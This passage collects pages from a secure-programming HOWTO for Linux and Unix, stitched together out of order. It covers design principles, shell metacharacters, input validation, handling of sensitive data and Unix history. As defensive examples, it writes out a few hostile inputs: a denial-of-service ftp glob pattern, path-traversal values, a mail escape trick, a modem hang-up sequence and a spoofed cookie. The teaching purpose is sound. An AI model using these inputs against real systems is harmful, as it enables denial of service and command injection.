  • Open design. The protection mechanism must not depend on attacker ignorance. Instead, the mechanism should be public, depending on the secrecy of relatively few (and easily changeable) items like passwords or private keys. An open design makes extensive public scrutiny possible, and it also makes it possible for users to convince themselves that the system about to be used is adequate. Frankly, it isn't realistic to try to maintain secrecy for a system that is widely distributed; decompilers and subverted hardware can quickly expose any ``secrets'' in an implementation. Bruce Schneier argues that smart engineers should ``demand open source code for anything related to security'', as well as ensuring that it receives widespread review and that any identified problems are fixed [Schneier 1999].

  • Complete mediation. Every access attempt must be checked; position the mechanism so it cannot be subverted. For example, in a client-server model, generally the server must do all access checking because users can build or modify their own clients. This is the point of all of Chapter 4, as well as Section 6.2.

  • Fail-safe defaults (e.g., permission-based approach). The default should be denial of service, and the protection scheme should then identify conditions under which access is permitted. See Section 6.7 and Section 6.9 for more.

  • Separation of privilege. Ideally, access to objects should depend on more than one condition, so that defeating one protection system won't enable complete access.

  • Least common mechanism. Minimize the amount and use of shared mechanisms (e.g. use of the /tmp or /var/tmp directories). Shared objects provide potentially dangerous channels for information flow and unintended interactions. See Section 6.10 for more information.

  • Psychological acceptability / Easy to use. The human interface must be designed for ease of use so users will routinely and automatically use the protection mechanisms correctly. Mistakes will be reduced if the security mechanisms closely match the user's mental image of his or her protection goals.

A good over of various desing principles for security is available in Peter Neumann's CHATS Principles

Prev | Home | Next
Structure Program Internals and Approach | Up | Secure the Interface


Handle Full/Unresponsive Output

Secure Programming for Linux and Unix HOWTO
Prev Chapter 8. Send Information Back Judiciously Next

8.3. Handle Full/Unresponsive Output

It may be possible for a user to clog or make unresponsive a secure program's output channel back to that user. For example, a web browser could be intentionally halted or have its TCP/IP channel response slowed. The secure program should handle such cases, in particular it should release locks quickly (preferably before replying) so that this will not create an opportunity for a Denial-of-Service attack. Always place time-outs on outgoing network-oriented write requests.

Prev | Home | Next
Don't Include Comments | Up | Control Data Formatting (``Format Strings'')


Handle Metacharacters

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.3. Handle Metacharacters

Many systems, such as the command line shell and SQL interpreters, have ``metacharacters'', that is, characters in their input that are not interpreted as data. Such characters might commands, or delimit data from commands or other data. If there's a language specification for that system's interface that you're using, then it certainly has metacharacters. If your program invokes those other systems and allows attackers to insert such metacharacters, the usual result is that an attacker can completely control your program.

One of the most pervasive metacharacter problems are those involving shell metacharacters. The standard Unix-like command shell (stored in /bin/sh) interprets a number of characters specially. If these characters are sent to the shell, then their special interpretation will be used unless escaped; this fact can be used to break programs. According to the WWW Security FAQ [Stein 1999, Q37], these metacharacters are:
& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r

I should note that in many situations you'll also want to escape the tab and space characters, since they (and the newline) are the default parameter separators. The separator values can be changed by setting the IFS environment variable, but if you can't trust the source of this variable you should have thrown it out or reset it anyway as part of your environment variable processing.

Unfortunately, in real life this isn't a complete list. Here are some other characters that can be problematic:

  • '!' means ``not'' in an expression (as it does in C); if the return value of a program is tested, prepending ! could fool a script into thinking something had failed when it succeeded or vice versa. In some shells, the "!" also accesses the command history, which can cause real problems. In bash, this only occurs for interactive mode, but tcsh (a csh clone found in some Linux distributions) uses "!" even in scripts.

  • '#' is the comment character; all further text on the line is ignored.

  • '-' can be misinterpreted as leading an option (or, as - -, disabling all further options). Even if it's in the ``middle'' of a filename, if it's preceded by what the shell considers as whitespace you may have a problem.

  • ' ' (space), '\t' (tab), '\n' (newline), '\r' (return), '\v' (vertical space), '\f' (form feed), and other whitespace characters may turn a ``single'' filename into multiple arguments.

  • Other control characters (in particular, NIL) may cause problems for some shell implementations.

  • Depending on your usage, it's even conceivable that ``.'' (the ``run in current shell'') and ``='' (for setting variables) might be worrisome characters. However, any example I've found so far where these are issues have other (much worse) security problems.

What makes the shell metacharacters particularly pervasive is that several important library calls, such as popen(3) and system(3), are implemented by calling the command shell, meaning that they will be affected by shell metacharacters too. Similarly, execlp(3) and execvp(3) may cause the shell to be called. Many guidelines suggest avoiding popen(3), system(3), execlp(3), and execvp(3) entirely and use execve(3) directly in C when trying to spawn a process [Galvin 1998b]. At the least, avoid using system(3) when you can use the execve(3); since system(3) uses the shell to expand characters, there is more opportunity for mischief in system(3). In a similar manner the Perl and shell backtick (`) also call a command shell; for more information on Perl see Section 9.2.

Since SQL also has metacharacters, a similar issue revolves around calls to SQL. See SPI Dynamic's paper ``SQL Injection: Are your Web Applications Vulnerable?'' for further discussion on this. As discussed in Chapter 4, define a very limited pattern and only allow data matching that pattern to enter; if you limit your pattern to ^[0-9]$ or ^[0-9A-Za-z]*$ then you won't have a problem. If you must handle data that may include SQL metacharacters, a good approach is to convert it (as early as possible) to some other encoding before storage, e.g., HTML encoding (in which case you'll need to encode any ampersand characters too). Also, prepend and append a quote to all user input, even if the data is numeric; that way, insertions of white space and other kinds of data won't be as dangerous.

Forgetting one of these characters can be disastrous, for example, many programs omit backslash as a shell metacharacter [rfp 1999]. As discussed in the Chapter 4, a recommended approach by some is to immediately escape at least all of these characters when they are input. But again, by far and away the best approach is to identify which characters you wish to permit, and use a filter to only permit those characters.

A number of programs, especially those designed for human interaction, have ``escape'' codes that perform ``extra'' activities. One of the more common (and dangerous) escape codes is one that brings up a command line. Make sure that these ``escape'' commands can't be included (unless you're sure that the specific command is safe). For example, many line-oriented mail programs (such as mail or mailx) use tilde (~) as an escape character, which can then be used to send a number of commands. As a result, apparently-innocent commands such as ``mail admin < file-from-user'' can be used to execute arbitrary programs. Interactive programs such as vi, emacs, and ed have ``escape'' mechanisms that allow users to run arbitrary shell commands from their session. Always examine the documentation of programs you call to search for escape mechanisms. It's best if you call only programs intended for use by other programs; see Section 7.4.

The issue of avoiding escape codes even goes down to low-level hardware components and emulators of them. Most modems implement the so-called ``Hayes'' command set. Unless the command set is disabled, inducing a delay, the phrase ``+++'', and then another delay forces the modem to interpret any following text as commands to the modem instead. This can be used to implement denial-of-service attacks (by sending ``ATH0'', a hang-up command) or even forcing a user to connect to someone else (a sophisticated attacker could re-route a user's connection through a machine under the attacker's control). For the specific case of modems, this is easy to counter (e.g., add "ATS2-255" in the modem initialization string), but the general issue still holds: if you're controlling a lower-level component, or an emulation of one, make sure that you disable or otherwise handle any escape codes built into them.

Many ``terminal'' interfaces implement the escape codes of ancient, long-gone physical terminals like the VT100. These codes can be useful, for example, for bolding characters, changing font color, or moving to a particular location in a terminal interface. However, do not allow arbitrary untrusted data to be sent directly to a terminal screen, because some of those codes can cause serious problems. On some systems you can remap keys (e.g., so when a user presses "Enter" or a function key it sends the command you want them to run). On some you can even send codes to clear the screen, display a set of commands you'd like the victim to run, and then send that set ``back'', forcing the victim to run the commands of the attacker's choosing without even waiting for a keystroke. This is typically implemented using ``page-mode buffering''. This security problem is why emulated tty's (represented as device files, usually in /dev/) should only be writeable by their owners and never anyone else - they should never have ``other write'' permission set, and unless only the user is a member of the group (i.e., the ``user-private group'' scheme), the ``group write'' permission should not be set either for the terminal [Filipski 1986]. If you're displaying data to the user at a (simulated) terminal, you probably need to filter out all control characters (characters with values less than 32) from data sent back to the user unless they're identified by you as safe. Worse comes to worse, you can identify tab and newline (and maybe carriage return) as safe, removing all the rest. Characters with their high bits set (i.e., values greater than 127) are in some ways trickier to handle; some old systems implement them as if they weren't set, but simply filtering them inhibits much international use. In this case, you need to look at the specifics of your situation.

A related problem is that the NIL character (character 0) can have surprising effects. Most C and C++ functions assume that this character marks the end of a string, but string-handling routines in other languages (such as Perl and Ada95) can handle strings containing NIL. Since many libraries and kernel calls use the C convention, the result is that what is checked is not what is actually used [rfp 1999].

When calling another program or referring to a file always specify its full path (e.g, /usr/bin/sort). For program calls, this will eliminate possible errors in calling the ``wrong'' command, even if the PATH value is incorrectly set. For other file referents, this reduces problems from ``bad'' starting directories.

Prev | Home | Next
Limit Call-outs to Valid Values | Up | Call Only Interfaces Intended for Programmers


Hide Sensitive Information

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.8. Hide Sensitive Information

Sensitive information should be hidden from prying eyes, both while being input and output, and when stored in the system. Sensitive information certainly includes credit card numbers, account balances, and home addresses, and in many applications also includes names, email addressees, and other private information.

Web-based applications should encrypt all communication with a user that includes sensitive information; the usual way is to use the "https:" protocol (HTTP on top of SSL or TLS). According to the HTTP 1.1 specification (IETF RFC 2616 section 15.1.3), authors of services which use the HTTP protocol should not use GET based forms for the submission of sensitive data, because this will cause this data to be encoded in the Request-URI. Many existing servers, proxies, and user agents will log the request URI in some place where it might be visible to third parties. Instead, use POST-based submissions, which are intended for this purpose.

Databases of such sensitive data should also be encrypted on any storage device (such as files on a disk). Such encryption doesn't protect against an attacker breaking the secure application, of course, since obviously the application has to have a way to access the encrypted data too. However, it does provide some defense against attackers who manage to get backup disks of the data but not of the keys used to decrypt them. It also provides some defense if an attacker doesn't manage to break into an application, but does manage to partially break into a related system just enough to view the stored data - again, they now have to break the encryption algorithm to get the data. There are many circumstances where data can be transferred unintentionally (e.g., core files), which this also prevents. It's worth noting, however, that this is not as strong a defense as you'd think, because often the server itself can be subverted or broken.

Prev | Home | Next
Counter Web Bugs When Retrieving Embedded Content | Up | Send Information Back Judiciously


History of Unix, Linux, and Open Source / Free Software

Secure Programming for Linux and Unix HOWTO
Prev Chapter 2. Background Next

2.1. History of Unix, Linux, and Open Source / Free Software

2.1.1. Unix

In 1969-1970, Kenneth Thompson, Dennis Ritchie, and others at AT&T Bell Labs began developing a small operating system on a little-used PDP-7. The operating system was soon christened Unix, a pun on an earlier operating system project called MULTICS. In 1972-1973 the system was rewritten in the programming language C, an unusual step that was visionary: due to this decision, Unix was the first widely-used operating system that could switch from and outlive its original hardware. Other innovations were added to Unix as well, in part due to synergies between Bell Labs and the academic community. In 1979, the ``seventh edition'' (V7) version of Unix was released, the grandfather of all extant Unix systems.

After this point, the history of Unix becomes somewhat convoluted. The academic community, led by Berkeley, developed a variant called the Berkeley Software Distribution (BSD), while AT&T continued developing Unix under the names ``System III'' and later ``System V''. In the late 1980's through early 1990's the ``wars'' between these two major strains raged. After many years each variant adopted many of the key features of the other. Commercially, System V won the ``standards wars'' (getting most of its interfaces into the formal standards), and most hardware vendors switched to AT&T's System V. However, System V ended up incorporating many BSD innovations, so the resulting system was more a merger of the two branches. The BSD branch did not die, but instead became widely used for research, for PC hardware, and for single-purpose servers (e.g., many web sites use a BSD derivative).

The result was many different versions of Unix, all based on the original seventh edition. Most versions of Unix were proprietary and maintained by their respective hardware vendor, for example, Sun Solaris is a variant of System V. Three versions of the BSD branch of Unix ended up as open source: FreeBSD (concentrating on ease-of-installation for PC-type hardware), NetBSD (concentrating on many different CPU architectures), and a variant of NetBSD, OpenBSD (concentrating on security). More general information about Unix history can be found at http://www.datametrics.com/tech/unix/uxhistry/brf-hist.htm and http://perso.wanadoo.fr/levenez/unix. Much more information about the BSD history can be found in [McKusick 1999] and ftp://ftp.freebsd.org/pub/FreeBSD/FreeBSD-current/src/share/misc/bsd-family-tree.

A slightly old but interesting advocacy piece that presents arguments for using Unix-like systems (instead of Microsoft's products) is John Kirch's paper ``Microsoft Windows NT Server 4.0 versus UNIX''.

2.1.2. Free Software Foundation

In 1984 Richard Stallman's Free Software Foundation (FSF) began the GNU project, a project to create a free version of the Unix operating system. By free, Stallman meant software that could be freely used, read, modified, and redistributed. The FSF successfully built a vast number of useful components, including a C compiler (gcc), an impressive text editor (emacs), and a host of fundamental tools. However, in the 1990's the FSF was having trouble developing the operating system kernel [FSF 1998]; without a kernel the rest of their software would not work.

2.1.3. Linux

In 1991 Linus Torvalds began developing an operating system kernel, which he named ``Linux'' [Torvalds 1999]. This kernel could be combined with the FSF material and other components (in particular some of the BSD components and MIT's X-windows software) to produce a freely-modifiable and very useful operating system. This book will term the kernel itself the ``Linux kernel'' and an entire combination as ``Linux''. Note that many use the term ``GNU/Linux'' instead for this combination.

In the Linux community, different organizations have combined the available components differently. Each combination is called a ``distribution'', and the organizations that develop distributions are called ``distributors''. Common distributions include Red Hat, Mandrake, SuSE, Caldera, Corel, and Debian. There are differences between the various distributions, but all distributions are based on the same foundation: the Linux kernel and the GNU glibc libraries. Since both are covered by ``copyleft'' style licenses, changes to these foundations generally must be made available to all, a unifying force between the Linux distributions at their foundation that does not exist between the BSD and AT&T-derived Unix systems. This book is not specific to any Linux distribution; when it discusses Linux it presumes Linux kernel version 2.2 or greater and the C library glibc 2.1 or greater, valid assumptions for essentially all current major Linux distributions.

2.1.4. Open Source / Free Software

Increased interest in software that is freely shared has made it increasingly necessary to define and explain it. A widely used term is ``open source software'', which is further defined in [OSI 1999]. Eric Raymond [1997, 1998] wrote several seminal articles examining its various development processes. Another widely-used term is ``free software'', where the ``free'' is short for ``freedom'': the usual explanation is ``free speech, not free beer.'' Neither phrase is perfect. The term ``free software'' is often confused with programs whose executables are given away at no charge, but whose source code cannot be viewed, modified, or redistributed. Conversely, the term ``open source'' is sometime (ab)used to mean software whose source code is visible, but for which there are limitations on use, modification, or redistribution. This book uses the term ``open source'' for its usual meaning, that is, software which has its source code freely available for use, viewing, modification, and redistribution; a more detailed definition is contained in the Open Source Definition. In some cases, a difference in motive is suggested; those preferring the term ``free software'' wish to strongly emphasize the need for freedom, while those using the term may have other motives (e.g., higher reliability) or simply wish to appear less strident. For information on this definition of free software, and the motivations behind it, can be found at http://www.fsf.org.

Those interested in reading advocacy pieces for open source software and free software should see http://www.opensource.org and http://www.fsf.org. There are other documents which examine such software, for example, Miller [1995] found that the open source software were noticeably more reliable than proprietary software (using their measurement technique, which measured resistance to crashing due to random input).

2.1.5. Comparing Linux and Unix

This book uses the term ``Unix-like'' to describe systems intentionally like Unix. In particular, the term ``Unix-like'' includes all major Unix variants and Linux distributions. Note that many people simply use the term ``Unix'' to describe these systems instead. Originally, the term ``Unix'' meant a particular product developed by AT&T. Today, the Open Group owns the Unix trademark, and it defines Unix as ``the worldwide Single UNIX Specification''.

Linux is not derived from Unix source code, but its interfaces are intentionally like Unix. Therefore, Unix lessons learned generally apply to both, including information on security. Most of the information in this book applies to any Unix-like system. Linux-specific information has been intentionally added to enable those using Linux to take advantage of Linux's capabilities.

Unix-like systems share a number of security mechanisms, though there are subtle differences and not all systems have all mechanisms available. All include user and group ids (uids and gids) for each process and a filesystem with read, write, and execute permissions (for user, group, and other). See Thompson [1974] and Bach [1986] for general information on Unix systems, including their basic security mechanisms. Chapter 3 summarizes key security features of Unix and Linux.

Prev | Home | Next
Background | Up | Security Principles


Secure Programming for Linux and Unix HOWTO

David A. Wheeler

Copyright © 1999, 2000, 2001, 2002 by David A. Wheeler

v2.962, 12 March 2002

This book provides a set of design and implementation guidelines for writing secure programs for Linux and Unix systems. Such programs include application programs used as viewers of remote data, web applications (including CGI scripts), network servers, and setuid/setgid programs. Specific guidelines for C, C++, Java, Perl, PHP, Python, TCL, and Ada95 are included.

Table of Contents
1. Introduction
2. Background
2.1. History of Unix, Linux, and Open Source / Free Software
2.2. Security Principles
2.3. Why do Programmers Write Insecure Code?
2.4. Is Open Source Good for Security?
2.5. Types of Secure Programs
2.6. Paranoia is a Virtue
2.7. Why Did I Write This Document?
2.8. Sources of Design and Implementation Guidelines
2.9. Other Sources of Security Information
2.10. Document Conventions
3. Summary of Linux and Unix Security Features
3.1. Processes
3.2. Files
3.3. System V IPC
3.4. Sockets and Network Connections
3.5. Signals
3.6. Quotas and Limits
3.7. Dynamically Linked Libraries
3.8. Audit
3.9. PAM
3.10. Specialized Security Extensions for Unix-like Systems
4. Validate All Input
4.1. Command line
4.2. Environment Variables
4.3. File Descriptors
4.4. File Contents
4.5. Web-Based Application Inputs (Especially CGI Scripts)
4.6. Other Inputs
4.7. Human Language (Locale) Selection
4.8. Character Encoding
4.9. Prevent Cross-site Malicious Content on Input
4.10. Filter HTML/URIs That May Be Re-presented
4.11. Forbid HTTP GET To Perform Non-Queries
4.12. Counter SPAM
4.13. Limit Valid Input Time and Load Level
5. Avoid Buffer Overflow
5.1. Dangers in C/C++
5.2. Library Solutions in C/C++
5.3. Compilation Solutions in C/C++
5.4. Other Languages
6. Structure Program Internals and Approach
6.1. Follow Good Software Engineering Principles for Secure Programs
6.2. Secure the Interface
6.3. Separate Data and Control
6.4. Minimize Privileges
6.5. Minimize the Functionality of a Component
6.6. Avoid Creating Setuid/Setgid Scripts
6.7. Configure Safely and Use Safe Defaults
6.8. Load Initialization Values Safely
6.9. Fail Safe
6.10. Avoid Race Conditions
6.11. Trust Only Trustworthy Channels
6.12. Set up a Trusted Path
6.13. Use Internal Consistency-Checking Code
6.14. Self-limit Resources
6.15. Prevent Cross-Site Malicious Content
6.16. Foil Semantic Attacks
6.17. Be Careful with Data Types
7. Carefully Call Out to Other Resources
7.1. Call Only Safe Library Routines
7.2. Limit Call-outs to Valid Values
7.3. Handle Metacharacters
7.4. Call Only Interfaces Intended for Programmers
7.5. Check All System Call Returns
7.6. Avoid Using vfork(2)
7.7. Counter Web Bugs When Retrieving Embedded Content
7.8. Hide Sensitive Information
8. Send Information Back Judiciously
8.1. Minimize Feedback
8.2. Don't Include Comments
8.3. Handle Full/Unresponsive Output
8.4. Control Data Formatting (``Format Strings'')
8.5. Control Character Encoding in Output
8.6. Prevent Include/Configuration File Access
9. Language-Specific Issues
9.1. C/C++
9.2. Perl
9.3. Python
9.4. Shell Scripting Languages (sh and csh Derivatives)
9.5. Ada
9.6. Java
9.7. TCL
9.8. PHP
10. Special Topics
10.1. Passwords
10.2. Authenticating on the Web
10.3. Random Numbers
10.4. Specially Protect Secrets (Passwords and Keys) in User Memory
10.5. Cryptographic Algorithms and Protocols
10.6. Using PAM
10.7. Tools
10.8. Windows CE
10.9. Write Audit Records
10.10. Physical Emissions
10.11. Miscellaneous
11. Conclusion
12. Bibliography
A. History
B. Acknowledgements
C. About the Documentation License
D. GNU Free Documentation License
E. Endorsements
F. About the Author
List of Tables
4-1. Legal UTF-8 Sequences
List of Figures
1-1. Abstract View of a Program
Next
Introduction


Load Initialization Values Safely

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.8. Load Initialization Values Safely

Many programs read an initialization file to allow their defaults to be configured. You must ensure that an attacker can't change which initialization file is used, nor create or modify that file. Often you should not use the current directory as a source of this information, since if the program is used as an editor or browser, the user may be viewing the directory controlled by someone else. Instead, if the program is a typical user application, you should load any user defaults from a hidden file or directory contained in the user's home directory. If the program is setuid/setgid, don't read any file controlled by the user unless you carefully filter it as an untrusted (potentially hostile) input. Trusted configuration values should be loaded from somewhere else entirely (typically from a file in /etc).

Prev | Home | Next
Configure Safely and Use Safe Defaults | Up | Fail Safe


Validate All Input

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 4. Validate All Input

Wisdom will save you from the ways of wicked men, from men whose words are perverse...
Proverbs 2:12 (NIV)
Table of Contents
4.1. Command line
4.2. Environment Variables
4.2.1. Some Environment Variables are Dangerous
4.2.2. Environment Variable Storage Format is Dangerous
4.2.3. The Solution - Extract and Erase
4.3. File Descriptors
4.4. File Contents
4.5. Web-Based Application Inputs (Especially CGI Scripts)
4.6. Other Inputs
4.7. Human Language (Locale) Selection
4.7.1. How Locales are Selected
4.7.2. Locale Support Mechanisms
4.7.3. Legal Values
4.7.4. Bottom Line
4.8. Character Encoding
4.8.1. Introduction to Character Encoding
4.8.2. Introduction to UTF-8
4.8.3. UTF-8 Security Issues
4.8.4. UTF-8 Legal Values
4.8.5. UTF-8 Related Issues
4.9. Prevent Cross-site Malicious Content on Input
4.10. Filter HTML/URIs That May Be Re-presented
4.10.1. Remove or Forbid Some HTML Data
4.10.2. Encoding HTML Data
4.10.3. Validating HTML Data
4.10.4. Validating Hypertext Links (URIs/URLs)
4.10.5. Other HTML tags
4.10.6. Related Issues
4.11. Forbid HTTP GET To Perform Non-Queries
4.12. Counter SPAM
4.13. Limit Valid Input Time and Load Level

Some inputs are from untrustable users, so those inputs must be validated (filtered) before being used. You should determine what is legal and reject anything that does not match that definition. Do not do the reverse (identify what is illegal and write code to reject those cases), because you are likely to forget to handle an important case of illegal input.

There is a good reason for identifying ``illegal'' values, though, and that's as a set of tests (usually just executed in your head) to be sure that your validation code is thorough. When I set up an input filter, I mentally attack the filter to see if there are illegal values that could get through. Depending on the input, here are a few examples of common ``illegal'' values that your input filters may need to prevent: the empty string, ".", "..", "../", anything starting with "/" or ".", anything with "/" or "&" inside it, any control characters (especially NIL and newline), and/or any characters with the ``high bit'' set (especially values decimal 254 and 255). Again, your code should not be checking for ``bad'' values; you should do this check mentally to be sure that your pattern ruthlessly limits input values to legal values. If your pattern isn't sufficiently narrow, you need to carefully re-examine the pattern to see if there are other problems.

Limit the maximum character length (and minimum length if appropriate), and be sure to not lose control when such lengths are exceeded (see Chapter 5 for more about buffer overflows).

Here are a few common data types, and things you should validate before using them from an untrusted user:

  • For strings, identify the legal characters or legal patterns (e.g., as a regular expression) and reject anything not matching that form. There are special problems when strings contain control characters (especially linefeed or NIL) or metacharacters (especially shell metacharacters); it is often best to ``escape'' such metacharacters immediately when the input is received so that such characters are not accidentally sent. CERT goes further and recommends escaping all characters that aren't in a list of characters not needing escaping [CERT 1998, CMU 1998]. See Section 7.3 for more information on metacharacters.

  • Limit all numbers to the minimum (often zero) and maximum allowed values.

  • A full email address checker is actually quite complicated, because there are legacy formats that greatly complicate validation if you need to support all of them; see mailaddr(7) and IETF RFC 822 [RFC 822] for more information if such checking is necessary. Often you can simplify and only permit the ``common'' Internet address formats.

  • Filenames should be checked; usually you will want to not include ``..'' (higher directory) as a legal value from an untrusted user, though it depends on circumstances. You might also want to list only the characters you will permit, in particular omitting newlines (which can cause problems). In filenames it's best to prohibit any change in directory, e.g., by not including ``/'' in the set of legal characters. Often you shouldn't support ``globbing'', that is, expanding filenames using ``*'', ``?'', ``['' (matching ``]''), and possibly ``{'' (matching ``}''). For example, the command ``ls *.png'' does a glob on ``*.png'' to list all PNG files. The C fopen(3) command (for example) doesn't do globbing, but the command shells perform globbing by default, and in C you can request globbing using (for example) glob(3). If you don't need globbing, just use the calls that don't do it where possible (e.g., fopen(3)) and/or disable them (e.g., escape the globbing characters in a shell). Be especially careful if you want to permit globbing. Globbing can be useful, but complex globs can take a great deal of computing time. For example, on some ftp servers, performing a few of these requests can easily cause a denial-of-service of the entire machine:
    ftp> ls */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
    Trying to allow globbing, yet limit globbing patterns, is probably futile. Instead, make sure that any such programs run as a separate process and use process limits to limit the amount of CPU and other resources they can consume. See Section 6.4.8 for more information on this approach, and see Section 3.6 for more information on how to set these limits.

  • URIs (including URLs) should be checked for validity. If you are directly acting on a URI (i.e., you're implementing a web server or web-server-like program and the URL is a request for your data), make sure the URI is valid, and be especially careful of URIs that try to ``escape'' the document root (the area of the filesystem that the server is responding to). The most common ways to escape the document root are via ``..'' or a symbolic link, so most servers check any ``..'' directories themselves and ignore symbolic links unless specially directed. Also remember to decode any encoding first (via URL encoding or UTF-8 encoding), or an encoded ``..'' could slip through. URIs aren't supposed to even include UTF-8 encoding, so the safest thing is to reject any URIs that include characters with high bits set.

    If you are implementing a system that uses the URI/URL as data, you're not home-free at all; you need to ensure that malicious users can't insert URIs that will harm other users. See Section 4.10.4 for more information about this.

  • When accepting cookie values, make sure to check the the domain value for any cookie you're using is the expected one. Otherwise, a (possibly cracked) related site might be able to insert spoofed cookies. Here's an example from IETF RFC 2965 of how failing to do this check could cause a problem:

    • User agent makes request to victim.cracker.edu, gets back cookie session_id="1234" and sets the default domain victim.cracker.edu.

    • User agent makes request to spoof.cracker.edu, gets back cookie session-id="1111", with Domain=".cracker.edu".

    • User agent makes request to victim.cracker.edu again, and passes:
               Cookie: $Version="1"; session_id="1234",
                 $Version="1"; session_id="1111"; $Domain=".cracker.edu"
      The server at victim.cracker.edu should detect that the second cookie was not one it originated by noticing that the Domain attribute is not for itself and ignore it.

Unless you account for them, the legal character patterns must not include characters or character sequences that have special meaning to either the program internals or the eventual output:

  • A character sequence may have special meaning to the program's internal storage format. For example, if you store data (internally or externally) in delimited strings, make sure that the delimiters are not permitted data values. A number of programs store data in comma (,) or colon (:) delimited text files; inserting the delimiters in the input can be a problem unless the program accounts for it (i.e., by preventing it or encoding it in some way). Other characters often causing these problems include single and double quotes (used for surrounding strings) and the less-than sign "<" (used in SGML, XML, and HTML to indicate a tag's beginning; this is important if you store data in these formats). Most data formats have an escape sequence to handle these cases; use it, or filter such data on input.

  • A character sequence may have special meaning if sent back out to a user. A common example of this is permitting HTML tags in data input that will later be posted to other readers (e.g., in a guestbook or ``reader comment'' area). However, the problem is much more general. See Section 6.15 for a general discussion on the topic, and see Section 4.10 for a specific discussion about filtering HTML.

These tests should usually be centralized in one place so that the validity tests can be easily examined for correctness later.

Make sure that your validity test is actually correct; this is particularly a problem when checking input that will be used by another program (such as a filename, email address, or URL). Often these tests have subtle errors, producing the so-called ``deputy problem'' (where the checking program makes different assumptions than the program that actually uses the data). If there's a relevant standard, look at it, but also search to see if the program has extensions that you need to know about.

While parsing user input, it's a good idea to temporarily drop all privileges, or even create separate processes (with the parser having permanently dropped privileges, and the other process performing security checks against the parser requests). This is especially true if the parsing task is complex (e.g., if you use a lex-like or yacc-like tool), or if the programming language doesn't protect against buffer overflows (e.g., C and C++). See Section 6.4 for more information on minimizing privileges.

When using data for security decisions (e.g., ``let this user in''), be sure to use trustworthy channels. For example, on a public Internet, don't just use the machine IP address or port number as the sole way to authenticate users, because in most environments this information can be set by the (potentially malicious) user. See Section 6.11 for more information.

The following subsections discuss different kinds of inputs to a program; note that input includes process state such as environment variables, umask values, and so on. Not all inputs are under the control of an untrusted user, so you need only worry about those inputs that are.

Prev | Home | Next
Specialized Security Extensions for Unix-like Systems |  | Command line


Prevent Cross-site Malicious Content on Input

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.9. Prevent Cross-site Malicious Content on Input

Some programs accept data from one untrusted user and pass that data on to a second user; the second user's application may then process that data in a way harmful to the second user. This is a particularly common problem for web applications, we'll call this problem ``cross-site malicious content.'' In short, you cannot accept input (including any form data) without checking, filtering, or encoding it. For more information, see Section 6.15.

Fundamentally, this means that all web application input must be filtered (so characters that can cause this problem are removed), encoded (so the characters that can cause this problem are encoded in a way to prevent the problem), or validated (to ensure that only ``safe'' data gets through). Filtering and validation should often be done at the input, but encoding can be done either at input or output time. If you're just passing the data through without analysis, it's probably better to encode the data on input (so it won't be forgotten), but if you're processing the data, there are arguments for encoding on output instead.

Prev | Home | Next
Character Encoding | Up | Filter HTML/URIs That May Be Re-presented


Use Internal Consistency-Checking Code

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.13. Use Internal Consistency-Checking Code

The program should check to ensure that its call arguments and basic state assumptions are valid. In C, macros such as assert(3) may be helpful in doing so.

Prev | Home | Next
Set up a Trusted Path | Up | Self-limit Resources


Structure Program Internals and Approach

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 6. Structure Program Internals and Approach

Like a city whose walls are broken down is a man who lacks self-control.
Proverbs 25:28 (NIV)
Table of Contents
6.1. Follow Good Software Engineering Principles for Secure Programs
6.2. Secure the Interface
6.3. Separate Data and Control
6.4. Minimize Privileges
6.4.1. Minimize the Privileges Granted
6.4.2. Minimize the Time the Privilege Can Be Used
6.4.3. Minimize the Time the Privilege is Active
6.4.4. Minimize the Modules Granted the Privilege
6.4.5. Consider Using FSUID To Limit Privileges
6.4.6. Consider Using Chroot to Minimize Available Files
6.4.7. Consider Minimizing the Accessible Data
6.4.8. Consider Minimizing the Resources Available
6.5. Minimize the Functionality of a Component
6.6. Avoid Creating Setuid/Setgid Scripts
6.7. Configure Safely and Use Safe Defaults
6.8. Load Initialization Values Safely
6.9. Fail Safe
6.10. Avoid Race Conditions
6.10.1. Sequencing (Non-Atomic) Problems
6.10.2. Locking
6.11. Trust Only Trustworthy Channels
6.12. Set up a Trusted Path
6.13. Use Internal Consistency-Checking Code
6.14. Self-limit Resources
6.15. Prevent Cross-Site Malicious Content
6.15.1. Explanation of the Problem
6.15.2. Solutions to Cross-Site Malicious Content
6.16. Foil Semantic Attacks
6.17. Be Careful with Data Types
Prev | Home | Next
Other Languages |  | Follow Good Software Engineering Principles for Secure Programs


Introduction

Secure Programming for Linux and Unix HOWTO
Prev Next

Chapter 1. Introduction

A wise man attacks the city of the mighty and pulls down the stronghold in which they trust.
Proverbs 21:22 (NIV)

This book describes a set of design and implementation guidelines for writing secure programs on Linux and Unix systems. For purposes of this book, a ``secure program'' is a program that sits on a security boundary, taking input from a source that does not have the same access rights as the program. Such programs include application programs used as viewers of remote data, web applications (including CGI scripts), network servers, and setuid/setgid programs. This book does not address modifying the operating system kernel itself, although many of the principles discussed here do apply. These guidelines were developed as a survey of ``lessons learned'' from various sources on how to create such programs (along with additional observations by the author), reorganized into a set of larger principles. This book includes specific guidance for a number of languages, including C, C++, Java, Perl, PHP, Python, TCL, and Ada95.

This book does not cover assurance measures, software engineering processes, and quality assurance approaches, which are important but widely discussed elsewhere. Such measures include testing, peer review, configuration management, and formal methods. Documents specifically identifying sets of development assurance measures for security issues include the Common Criteria [CC 1999] and the Systems Security Engineering Capability Maturity Model [SSE-CMM 1999]. More general sets of software engineering processes are defined in documents such as the Software Engineering Institute's Capability Maturity Model for Software (SW-CMM) [Paulk 1993a, 1993b] and ISO 12207 [ISO 12207]. General international standards for quality systems are defined in ISO 9000 and ISO 9001 [ISO 9000, 9001].

